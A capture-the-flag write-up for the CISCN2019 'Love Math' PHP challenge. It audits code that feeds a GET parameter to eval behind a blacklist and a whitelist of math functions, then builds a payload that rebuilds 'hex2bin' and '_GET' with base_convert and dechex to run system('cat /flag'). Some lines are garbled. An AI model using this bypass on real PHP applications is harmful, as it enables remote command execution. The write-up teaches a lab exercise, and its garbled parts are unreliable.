[CISCN2019 preliminaries] Love Math

[CISCN2019 preliminaries] Love Math

preface

A very interesting code audit with simple logic

Knowledge points

base_convert() function

in_array() function

in_ The array (value, array) function searches the array for the specified value.

example

<?php
    $people = array("Peter", "Joe", "Glenn", "Cleveland", 23); 
if (in_array("23", $people, TRUE))
{
    echo "Match found<br>";
} 
else 
{    echo "Match not found<br>"; } 
?>

This instance outputs Match found

dechex() function

The dechex() function converts a decimal number to a hexadecimal number.

hex2bin() function

The hex2bin() function converts a string of hexadecimal values into ASCII characters.

diabolic tricks and wicked craft

Save functions and parameters with variables

To bypass the 80 word limit, we use variables to save functions and parameters

Look at payload and understand

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls /flag

Here, $pi is used to store the following payload

Convert base to bypass whitelist filtering of function names

hex2bin is a function outside the white list. We want to use this function to treat hex2bin as a 36 base string for reuse Binary conversion tool Convert hex2bin to hexadecimal digit and use base_ The convert function converts decimal to base 36

Problem solution

Enter the environment, find the source code and start the audit

<?php
error_reporting(0);
//I heard that you like math very much. I don't know if you love it more than flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //Example c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("It's too long to count");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("Please do not enter strange characters");
        }
    }
    //Common mathematical functions http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("Please do not enter strange functions");
        }
    }
    //Help you figure out the answer
    eval('echo '.$content.';');
} 

The code audit here can be divided into three parts

First piece
 $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("It's too long to count");

The word length cannot be greater than 80, otherwise we can by pass it by storing payload in the variable

Second piece
  $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("Please do not enter strange characters");

Filtered quotation marks, double slashes, and so on

The main influence here is the square brackets

Parenthesized bypass

Use {} curly braces instead

Third piece
 $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("Please do not enter strange functions");


Whitelist your variable name must use the function name on the side here

We can use these variable names by redefining them

In general, this is the execution of construction commands

Our target string is obviously still system ('cat /flag ')

So let's write down the string we need to pass parameters

G E T [ a ] ( _GET[a]( G​ET[a](_GET[b])&a=system&b=cat flag

The following are for construction_ GET

At a glance, the hex2bin function is not in the white list and cannot be used directly

Ah, then we found a base on the white list_ The usage of convert function is introduced in the above knowledge points

The last character of hex2bin in the alphabet is x, which means that we can treat it as a 36 base number, use online base conversion to get the corresponding decimal number of hex2bin as a 36 base number, and then use base_convert function

payload:
base_convert(37907361743,10,36)

Then use the dechex function

First_ GET string is converted to hexadecimal number, and then converted to hexadecimal number by hexadecimal conversion tool, which is put into dechex function

The first half of the payload has been constructed

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));

Second half payload

It's easier to understand

Put the target payload

c=$pi=$_GET[a]($_GET[b])&a=system&b=cat /flag

Convert it to( G E T Namely by GET is GET is $pi)

c=$pi=_GET;($_GET){pi}($_GET){abs}&pi=system&abs=cat /flag

So structure

$$pi{pi}$$pi{abs}&pi=system&abs=cat /flag

Combine it to get payload

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

Added by cedtech23 on Thu, 17 Feb 2022 19:26:27 +0200